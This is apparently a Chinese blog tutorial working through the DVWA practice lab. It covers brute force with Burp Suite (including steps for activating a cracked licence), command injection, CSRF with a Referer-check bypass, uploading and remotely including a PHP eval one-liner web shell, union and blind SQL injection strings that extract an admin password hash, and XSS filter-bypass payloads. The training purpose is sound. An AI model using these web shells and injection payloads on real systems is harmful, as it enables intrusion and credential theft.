简单DVWA实验

一、密码尝试

brute-force(low)

开始状态:
在这里插入图片描述
首先我们通过dvwa页面向dvwa服务器(自己搭建),发送登录密码,然后使用wireshark抓包,查看密码,在wireshark上面选择发送给dvwa的服务器的网卡,进行抓包,得到登录密码。

http过滤->选择发送dvwa的http协议->右击追踪流->http流在这里插入图片描述

我们可以替换username和password选项中的值,来达到暴力破解的目的。使用burp suit软件,捕获http协议并多次修改用户名和密码。

bp安装过程:
在这里插入图片描述
点击:
在这里插入图片描述
生成在这里插入图片描述

选择
在这里插入图片描述
复制到activation request

在这里插入图片描述
生成的activation response复制到paste response
在这里插入图片描述
安装完成之后,我们使用这个软件中的proxy功能,首先我们需要把我们的浏览器设置代理功能。我们在浏览器上访问的数据报都提交到bp这个软件之上,我们通过这个软件来对http协议进行分析。
在这里插入图片描述我们在设置代理的浏览器上面进行登录测试

使用BP查询密码
我们在bp上抓包可得
在这里插入图片描述我们在空白处右击选择send to intruder,此时intruder会变红,我们进入intruder,选择positions选项,在这里我们进行一些设置。
在这里插入图片描述

我们在右边点击clear,清除&变量符号,然后我们只选择username和password等于号后面的变量,添加&符号。&的意思是设置的变量。

进入到Payloads
在这里插入图片描述
我们分别加载mima和username这两个文件,然后进行攻击,我们得到密码和用户名不一样的字段就是我们破解的密码和用户名。
在这里插入图片描述
Positions字段中的Attack type字段的意思
Sniper
在这里插入图片描述
Battering ram
在这里插入图片描述
Pitchfork
在这里插入图片描述
Cluster bomb
在这里插入图片描述

brute-force(medium)

中级的暴力破解和初级的暴力破解的方式一样,只是在php语言中添加了一句sleep()语句,减缓了暴力破解的速度。

PHP源码分析
在这里插入图片描述了解PHP中mysqli_real_escape_string() 函数
作用:转义在 SQL 语句中使用的字符串中的特殊字符。
语法:

mysqli_real_escape_string(connection,escapestring);
connection 	必需。规定要使用的 MySQL 连接。
escapestring 	必需。要转义的字符串。编码的字符是 NULASCII 0)、\n、\r、\、'、" 和 Control-Z
当用户提交用户名时可以添加一个 **'**,这样会造成和mysql数据库当中 **'**冲突然后会造成sql注入攻击。然后使用这个函数可将 **'**转换成 **\'**.

brute-force(high)

我们检查提交页面上的代码,找到<from >表单当中的<input >表单其中有一个<input type="hidden" value=user_token vlaue=" token值" >
当我们在前端点击login之后我们就会调用PHP脚本当中的checkToken()函数,此函数非我们编写,我们只是调用。

checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ]

这个函数的功能只是比较$_REQUEST[ 'user_token' ]$_SESSION[ 'session_token'这两个值是否相同,如果相同将会继续执行代码,如果不是相同就会形成跳转。其中checkToken()函数前面的值来自于前端的按钮当中的value值,后面的参数是后端服务器自己产生。调用函数generateSessionToken()他会重新生成一个session_token,一个发送给前端作为vlaue值,一个保留在后端session_token当中,每次登录时用来比较是否相同。真是因为每一次都会生成一个新的token值,所以给暴力破解带来了困难。

在这里插入图片描述
接着
在这里插入图片描述获取token
在这里插入图片描述同时我们找到Request Engine将线程设置成1,为了方便控制。
在这里插入图片描述选择攻击就会得到我们需要的密码。

二、命令注入

浏览器脚本中没有对用户输入的命令进行严格的过滤,让用户可以提交一些执行命令让命令可以在服务器上面执行。

Command Injection(low)

在这里插入图片描述在服务器端会打开记事本
在这里插入图片描述
在服务器端会出现关机现象

基础命令注入讲解

Command Injection(medium&high)

在PHP脚本里面添加了一些命令过滤,也就是黑名单(出现在名单中的命令将不会被执行)
在这里插入图片描述

三、CSRF(跨站请求伪造)

CSRF(low)

CSRF(跨站请求伪造)
是指利用受害者尚未失效的身份认证信息(cookie、绘画等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份(身份认证信息所对应)服务器发送请求,从而完成非法操作(如转账、更改密码)
在这里插入图片描述
现在我们来搭建一个自己创造的伪造网站(找一网页,找到保存页面,然后把保存的页面放到我们的服务器下面。然后修改其中的html代码)
在这里插入图片描述
这时我们已经修改用户的登录密码,这时我们把我们自己创建的网站链接发送给用户,如果用户点击我们的链接,他就在不知情的情况下修改了自己用户名和密码。

简单理解
现有一个用户a,正在登录的A网站(一直没有断开连接)。此时黑客会向用户a发送一个链接,这个链接中的网页代码经过黑客的修改,其中添加了a用户再次向A网站发送更改密码或者转账的代码。但是用户不知道此操作会修改他登录的A网站密码,而我们却知道a用户再次网站A发送更改的密码。

CSRF(medium)

我们分析low级别的csrf和medium级别的csrf发现它们只是在服务器端上运行的PHP脚本中有一句不同。
在这里插入图片描述
stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
注释:stripos() 函数是不区分大小写的。
例如:

<?php
echo stripos("You love php, I love php too!","PHP");
?>
#运行结果为9(包含空格)

我们进入到服务器端,修改PHP代码用var_dump()函数输出 $_SERVER[ 'HTTP_REFERER'(上次访问页面的地址)和$_SERVER[ 'SERVER_NAME' (访问服务器的地址 )的结果
在这里插入图片描述
我们得到在客户端浏览器上显示
在这里插入图片描述
当我们再次使用第一次方式进行跨站请求的话,我们不能够修改用户的密码,这是为什么呢?
因为当用户点击黑客发送的链接时,上一次用户请求修改的密码的链接地址是黑客架设的服务器ip地址,而不是用户自己主机访问真正服务器的地址。由于前后两次访问服务器的地址不一致,所以不能修改成功。
在这里插入图片描述
那么我们应当如何绕过呢?
我们可以修改网站的名字为192.168.1.105.html或者建立一个192.168.1.105的文件夹,这样我们就可以绕过这个函数检查两次IP地址是否一致。
在这里插入图片描述
我们访问的url也需要改变(也就黑客发送给用户的链接地址得改变)
在这里插入图片描述
修改后服务器的回应
在这里插入图片描述
这样我们就修改了原有用户的密码。

四、文件上传

File Upload(low)

服务器端没有对客户端上传的文件进行严格验证或过滤,二导致用户可以越过其本身权限向服务器上传一个可执行的脚本文件,并通过此脚本获得了执行服务器端执行命令的权力。

选择需要上传的文件
在这里插入图片描述
产看上传的文件
在这里插入图片描述

然后我们根据此原理来上传木马文件
我们写一个木马文件,然后将后缀名改为.php

<?php @eval($_POST(**aaa**); ?>

上传我们写的木马文件
在这里插入图片描述
上传成功后
我们得到文件上传的路径:http://192.168.43.20:8080/DVWA/DVWA-master/hackable/uploads/woodenhorse.php
然后我们使用中国菜刀这个软件进行登录
在这里插入图片描述
添加后,然后双击即可,这样我们就进入了服务器的目录。
在这里插入图片描述
当我们上传成功后我便可以对服务的网页进行增删改查。

五、文件包含

项目开发过程中,为了重复使用代码,开发人员会将一些重复使用的代码写入一个文件当中,需要使用时直接动态包含此文件,无需再次编写,这种文件调用的过程称为文件包含。

四种包含方式
1、include():只有代码执行到该函数时才会包含文件进来,发生错误时只会给出一个警告并继续向下执行。
2、include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
3、require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行
4、require_once():和requrie()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

如果服务端脚本对文件来源严格审查,就会导致任意文件读取或者任意命令执行。

文件包含分为两种:本地和远程
一种为本地文件包含
我们在phpstudy上创建一个text.php文件
在这里插入图片描述
然后我们在本地访问页面上访问这个地址,我们发现是可以执行这个脚本。
在这里插入图片描述
其中url后面的page= ,是我们上传文件之后,它所携带的参数
在这里插入图片描述
一种为远程文件包含

远程文件包含需要先修改配置文件,然后重启apach服务器。
在这里插入图片描述
我建设一台自己的服务器192.168.1.106,然后在创建一个木马文件malicious.tst。文件内容如下:

<?php

$f = fopen('shell.php','w');

$txt = '<?php eval($_POST[aaa])?>';

fwrite($f,$txt);

fclose($f);

?>

让对方执行含有我们木马文件路径的url
在这里插入图片描述
这样我们就会在对方电脑中生成我们创建木马文件

在这里插入图片描述
查看我们创建一句话木马文件内容
在这里插入图片描述
然后我们使菜刀去连接
在这里插入图片描述
成功拿下对放主机
在这里插入图片描述

六、SQL注入

登录sql命令行界面

打开 D:\PhpStudy\MySQL\bin 空白处按下shift 右击 打开powershell
第一种登录方式:
在这里插入图片描述
在这里插入图片描述
第二种登录方式:
其他选项菜单-》MySql工具-》MySql命令行
密码:root

图形化登录
MySql管理器-》MySql-front-》直接登录即可
在这里插入图片描述
数据库中常见操作:

show databases;  显示本地说有数据库
select database();  查看当前使用的那个数据库
use  information_schema ; 选择使用某个数据库
show tables;  查看但钱数据库中有多少表
create  database  newdb; 新建数据库newdb
create table  chengji(
	~i~ int(4) not  null primary  key auto_increment,
	~name~ char(20) not null,
	~sex~ int(4)  not null default 0,
	~grade~ double(16,2)
	);
describe chengji;  查看表的结构
drop table chengji; 删除表名为chengji的表
drop database newdb;   删除数据库newdb

select  database() 显示本地数据库
select  version()  mysql版本
select  user() 显示数据库用户名的本地数据库
select @@version_compile_os  操作系统版本
select  now()当前时间
select  4*2; 计算表达式
select   @@datadir  数据库路径
use  dvwa;
    select  * from  users where  user_id=3;
    select * from   user where user_id="3"
    select  * from  user  order  by4;

用于合并两个或者多个select语句  union内部的select 语句必须拥有相同数量的列。
use dvwa:
select  first_name ,last_name from users
union   select  user, last_login from users;

SQL注入(low)

1             #我们注入1看提交表单返回的结果
1'            #我们注入1'发现有错误,因为注入的 ' 的和数据库中的 ' 匹配到了出现语法错误
1'  union select User,Password from users #     #我们最后注入要达到的效果

注入过程

1' order by 2#
	相当于:SELECT first_name, last_name FROM users WHERE user_id = '1' order by 2   #';

1' order by 3#
到此步骤,可以判断出sql查询语句中查询的字段数为2个

1' union select database(),version() #
	相当于:SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),version()   #';
到此步骤,可以判断出数据库的版本和名字

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa' #
到此步骤,可以判断出数据库dvwa中的表的名字:guestbook, user

-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='user' #
到此步骤,可以判断出数据库dvwa中的user表的字段名称,这里的-1是让前面不输出。当然+1也行,但是会有多余输出。

-1' union select User,Password from users #
到此步骤,可以查询出数据库dvwa中的user表的user和password字段的内容。 

我们产看一下数据库重要的几个表
SCHMATA表中包含有哪些库名
在这里插入图片描述
bable数据表中记录了所有数据库中都有哪些数据表
在这里插入图片描述
第三张表COLIMNS中记录了数据库、数据表、字段之间的关系
在这里插入图片描述

七、SQL盲注

SQL盲注(low)

盲注的类型:
1、基于布尔的盲注
2、基于时间的盲注
3、基于报错的盲注
盲注攻击通常是无法显示页面上获取执行结果,甚至连注入语句是否执行都无从得知。

1' and 1=1 #
1' and 1=2 #

到此步骤,输出的结果不一样,可以判断出sql查询语句中存在单引号(’)注入

1' and length(database())>4 #

1' and length(database())=4 #
1' and length(database())=3 #
1' and length(database())=2 #
1' and length(database())=1 #
到此步骤,可以判断出当前数据库名称的长度为:4

1' and ascii(substr(database(),1,1))>88 #
1' and ascii(substr(database(),1,1))=100 #
1' and ascii(substr(database(),2,1))=118 #
1' and ascii(substr(database(),3,1))=119 #
1' and ascii(substr(database(),4,1))=97 #
到此步骤,可以判断出当前数据库的名称为:dvwa

1' and (select count(table_name) from information_schema.tables where table_schema=database())>4 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=3 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
到此步骤,可以判断出当前数据库(dvwa)中数据表的个数为:2

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=10 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
到此步骤,可以判断出第一个数据表的名称的长度为:9

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<110 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 #      匹配g
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117 #      匹配u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=101 #      匹配e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115 #      匹配s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,1))=116#      匹配t
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1))=98 #      匹配b
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),7,1))=111 #      匹配o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),8,1))=111 #      匹配o
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),9,1))=107 #      匹配k
到此步骤,可以判断出第一个数据表的名称为:guestbook

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))>10 #
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #
到此步骤,可以判断出第二个数据表的名称的长度为:5

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>88 #
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=117 #      匹配u
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115 #      匹配s
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=101 #      匹配e
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=114 #      匹配r
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1))=115 #      匹配s
到此步骤,可以判断出第二个数据表的名称为:users

1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>10 #
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8 #
到此步骤,可以判断出users数据表的字段数为:8

1' and  length((select column_name from information_schema.columns where table_name='users' limit 0,1))=7 #
到此步骤,可以判断出users数据表的第一个字段名称的长度为:7

1' and  ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>88 #
1' and  ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 #     匹配u
1' and  ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1))=115 #     匹配s
1' and  ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),3,1))=101 #     匹配e
1' and  ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),4,1))=114 #     匹配r
1' and  ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),5,1))=95 #     匹配_
1' and  ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),6,1))=105 #     匹配i
1' and  ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),7,1))=100 #     匹配d
到此步骤,可以判断出users数据表的第一个字段的名称为:user_id

同理,可以判断出其余7个字段。
 first_name  last_name    user      password   avatar      last_login    failed_login 

1' and  ascii(substr((select user from users limit 0,1),1,1))=97 #   匹配a
1' and  ascii(substr((select user from users limit 0,1),2,1))=100 #   匹配d
1' and  ascii(substr((select user from users limit 0,1),3,1))=109 #   匹配m
1' and  ascii(substr((select user from users limit 0,1),4,1))=105 #   匹配i
1' and  ascii(substr((select user from users limit 0,1),5,1))=110 #   匹配n
1' and  ascii(substr((select user from users limit 0,1),6,1))>0 #   无匹配,说明没有第6个字符了
到此步骤,找到用户admin

1' and  ascii(substr((select password from users where user='admin'),1,1))=50 #   匹配2
1' and  ascii(substr((select password from users where user='admin'),2,1))=48 #   匹配0
其余类似,可以不断尝试出密码:202cb962ac59075b964b07152d234b70

八、跨站脚本攻击

恶意攻击者往web页面里面插入恶意Script代码,当用户浏览该页之时,嵌入其中web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

反射型XSS

XSS(low)

查看服务器PHP脚本程序
在这里插入图片描述

array_key_exists(mixed $key,array $array)
数组array里有key时,array_key_exists(),返回true
参数:
key:要检查的建
array:一个数组,包含待检查的建

返回值,成功true,失败false。
上面代码只是将我们的输入进行连接没有进行任何过滤。

我们尝试注入:

<script> alert("sss")</script>
<script> alert(document.cookie)</script>

在这里插入图片描述

在这里插入图片描述

XSS(medium)

PHP脚本代码
在这里插入图片描述
str_replace()替换字符串中的一些字符(区分大小写)
上面代码出现是将

我们尝试注入

<sc<script>ript> alert("sss");</script>
<sCript>alter("sss");</script>

XSS(high)

PHP脚本代码
在这里插入图片描述

preg_replace()执行正则表达式的搜索和替换

$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] )

'/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'

点符号" . “匹配除了换行符之外的所有字符
星符号” . " 代表着0个或者多个前面的内容

我们进行注入

<img src=1 onerror=alert('sss');>

XSS(impossible)

PHP脚本代码
在这里插入图片描述
使用htmlspecialchars函数对参数进行html实体转义,此时就无法利用XSS漏洞了

<?php
 $str=" This is some <b> bold </b> text.";
 echo htmlspecialchars($str);
 ?>

存储型XSS

和反射型不同之处在于,存储型XSS和数据库之间是有交替,执行脚本之后会存储到数据库。

PHP脚本分析

存储型XSS(low)

trim 函数:移除字符串两侧的空白字符或其他预定义字符
mysql_real_escape_string(string,connection)
对字符串的特殊符号(\x00 , \n ,\r,\,' , ", \xla)进行转义。
stripslashes(string):删除字符串中的反斜杠。

存储型XSS(medium)

strip_tags() 函数:除去字符串中的HTMLXML以及PHP标签。
addslashes()函数:
< ?php
	$str=addslashes("Hello "world" !");
	echo($str);
	?>
	output: Hello \"world\"
name参数只是简单过滤了<script>字符串,任然存在存储型的XSS
name参数提交<sc <script>ript> alert("sss")</script>

存储型XSS(medium)

使用正则表达式过滤了<script> 标签但是忽略了img 、iframe 等其他危险的标签
name 参数依旧存在存储型XSS,name参数提交<img src=1 onerror=alert("sss")>注入

DVWA-XSS(Stored)脚本:

low:
<script>alert('msg')</script>

Medium:
<sc<script>ript>alert('sss')</script>
msg


High:
<img src=1 onerror=alert('sss')>
msg
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值